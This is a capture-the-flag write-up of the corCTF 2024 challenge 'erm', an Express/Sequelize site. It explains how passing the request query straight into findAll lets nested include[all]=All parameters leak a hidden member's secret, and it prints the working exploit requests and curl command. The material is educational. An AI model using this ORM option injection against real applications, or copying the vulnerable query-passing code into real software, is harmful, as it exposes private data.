siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

erm

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

erm guys? why does goroo have the flag?

Enumeration

Index page:

In here, we can read a typical CTF team website.

Writeups page:

In here, we can click on those categories below the “Writeups” header to filter out unwanted writeups. For example, I only want “web” category writeups:

Burp Suite HTTP history:

When we clicked on those category buttons, it’ll send a GET request to /api/writeups with GET parameter where[category].

We can also read those writeups by clicking the title link:

Members page:

This page is just showing all the members in Crusaders of Rust.

There’s not much we can do in here, let’s read this web application’s source code!

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/corCTF-2024/web/erm)-[2024.07.29|20:20:00(HKT)]
└> file erm.tar.gz                
erm.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 112640
┌[siunam♥Mercury]-(~/ctf/corCTF-2024/web/erm)-[2024.07.29|20:20:01(HKT)]
└> tar xvzf erm.tar.gz                
erm/
erm/package.json
erm/package-lock.json
erm/app.js
erm/db.js
erm/views/
erm/views/index.hbs
erm/views/members.hbs
erm/views/writeups.hbs
erm/views/writeup.hbs
erm/views/layout.hbs
erm/Dockerfile

After reading the source code, we have the following findings:

  1. This web application is written in Node.js with Express.js web application framework
  2. It uses SQLite store all the members, writeups, and categories
  3. It uses Sequelize ORM version 6 to interact with the SQLite database

Let’s deep dive into the main logic of this web application!

First, what’s our objective? Where’s the flag?

In erm/db.js, we can see that the flag is stored in member goroo’s secret:

const { Sequelize, DataTypes, Op } = require('sequelize');
[...]
const sequelize = new Sequelize({
    dialect: 'sqlite',
    storage: 'erm.db',
    logging: false
});
[...]
sequelize.sync().then(async () => {
    [...]
    // the forbidden member
    // banned for leaking our solve scripts
    const goroo = await Member.create({ username: "goroo", secret: process.env.FLAG || "corctf{test_flag}", kicked: true });
    const web = await Category.findOne({ where: { name: "web" } });
    await goroo.addCategory(web);
    await web.addMember(goroo);
    [...]
});

So, our goal is to somehow leak member goroo’s secret.

Also, this db.js defined the database’s structure.

Table Category:

const Category = sequelize.define('Category', {
    name: {
        type: DataTypes.STRING,
        primaryKey: true,
        allowNull: false,
    }
});

Table Member:

const Member = sequelize.define('Member', {
    username: {
        type: DataTypes.STRING,
        primaryKey: true,
        allowNull: false,
    },
    secret: {
        type: DataTypes.STRING,
    },
    kicked: {
        type: DataTypes.BOOLEAN,
        defaultValue: false,
    }
});

Table Writeup:

const Writeup = sequelize.define('Writeup', {
    title: {
        type: DataTypes.STRING,
        allowNull: false
    },
    slug: {
        type: DataTypes.STRING,
        allowNull: false,
    },
    content: {
        type: DataTypes.TEXT,
        allowNull: false
    },
    date: {
        type: DataTypes.DATE,
        allowNull: false
    },
    category: {
        type: DataTypes.STRING,
    }
});

Moreover, in Sequelize, it supports standard associations, such as One-To-One, One-To-Many and Many-To-Many. In our case, the database has the following relationships:

Category.belongsToMany(Member, { through: 'MemberCategory' });
Member.belongsToMany(Category, { through: 'MemberCategory' });
Member.hasMany(Writeup);
Writeup.belongsTo(Member);

After knowing the SQLite database structure, we can move on to erm/app.js.

In GET route /api/members, it returns all the existing members. Well, except the kicked one, which is goroo:

const express = require("express");
const hbs = require("hbs");

const app = express();

const db = require("./db.js");
[...]
// catches async errors and forwards them to error handler
// https://stackoverflow.com/a/51391081
const wrap = fn => (req, res, next) => {
    return Promise
        .resolve(fn(req, res, next))
        .catch(next);
};
[...]
app.get("/api/members", wrap(async (req, res) => {
    res.json({ members: (await db.Member.findAll({ include: db.Category, where: { kicked: false } })).map(m => m.toJSON()) });
}));

In addition, GET route /api/writeups is obviously to be vulnerable to SQL injection:

app.get("/api/writeups", wrap(async (req, res) => {
    res.json({ writeups: (await db.Writeup.findAll(req.query)).map(w => w.toJSON()).sort((a,b) => b.date - a.date) });
}));

As you can see, it parses our request’s query directly into the findOne method.

Before we started to read the source code, we came across with this API call:

GET /api/writeups?where[category]=web HTTP/2

Which translate to:

db.Writeup.findAll({ 
    where: { category: "web" }
}

Hmm… Can we somehow leak member goroo’s secret via this route?

If we dig deeper into the Sequelize version 6 documentation, we’ll see that there’s a feature called “Eager Loading”.

[…]eager Loading is the act of querying data of several models at once (one ‘main’ model and one or more associated models). At the SQL level, this is a query with one or more joins. […] In Sequelize, eager loading is mainly done by using the include option on a model finder query (such as findOne, findAll, etc).

Huh, looks like we can use option include to fetch a table (Model) associated with a table?

In this documentation, it also mentioned that we can include all associated tables via all option:

// Fetch all models associated with User
User.findAll({ include: { all: true } });

By looking at the table Writeup’s relationships, we can leak member goroo’s secret by including all the relationships.

To do so, we could send the following GET request to /api/writeups:

GET /api/writeups?include[all]=true HTTP/2
Host: erm.be.ax


Huh? “An error occurred”?

Erm… Let’s build this web application’s Docker image and run the container:

┌[siunam♥Mercury]-(~/ctf/corCTF-2024/web/erm/erm)-[2024.07.29|21:08:52(HKT)]
└> docker build --tag erm:latest .     
[...]
┌[siunam♥Mercury]-(~/ctf/corCTF-2024/web/erm/erm)-[2024.07.29|21:08:58(HKT)]
└> docker run -p 80:5000 erm:latest     
web/erm listening on port 5000
seeding db with default data...

By sending the same request again but on our local environment, we can see this error:

EagerLoadingError [SequelizeEagerLoadingError]: include all 'true' is not valid - must be BelongsTo, HasOne, HasMany, One, Has, Many or All
    at Writeup._expandIncludeAllElement (/app/node_modules/sequelize/lib/model.js:348:17)
    at Writeup._expandIncludeAll (/app/node_modules/sequelize/lib/model.js:594:14)
    at Writeup.findAll (/app/node_modules/sequelize/lib/model.js:1117:10)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async /app/app.js:31:27

So, for some reasons, the true value should be All.

Now, send the following request again. Table Writeup’s associations should be returned:

GET /api/writeups?include[all]=All HTTP/1.1
Host: localhost


Nice! Table Member is returned!

Now, how can we nested include all the associations between all the tables?

Sadly, during the CTF, I couldn’t figure it out.

Exploitation

So, after the CTF ended, I found out that we can do nested eager loading based on this documentation:

const users = await User.findAll({
  include: {
    model: Tool,
    as: 'Instruments',
    include: {
      model: Teacher,
      include: [
        /* etc */
      ],
    },
  },
});
console.log(JSON.stringify(users, null, 2));

With that said, we can do nested eager loading with the following request:

GET /api/writeups?include[all]=All&include[include][all]=All HTTP/1.1
Host: localhost


Nice! We now nest included table Category!

if we do the same thing again, we’ll leak member goroo’s secret!

GET /api/writeups?include[all]=All&include[include][all]=All&include[include][include][all]=All HTTP/1.1
Host: localhost


Nice!

Let’s send the same request to the remote challenge instance and get the real flag!

┌[siunam♥Mercury]-(~/ctf/corCTF-2024/web/erm/erm)-[2024.07.29|21:37:20(HKT)]
└> curl -s "https://erm.be.ax/api/writeups?include%5ball%5d=All&include%5binclude%5d%5ball%5d=All&include%5binclude%5d%5binclude%5d%5ball%5d=All" | jq -r '.writeups[0].Member.Categories[0].Members[-1].secret'
corctf{erm?_more_like_orm_amiright?}

Conclusion

What we’ve learned:

  1. Sequelize nested eager loading lead to information disclosure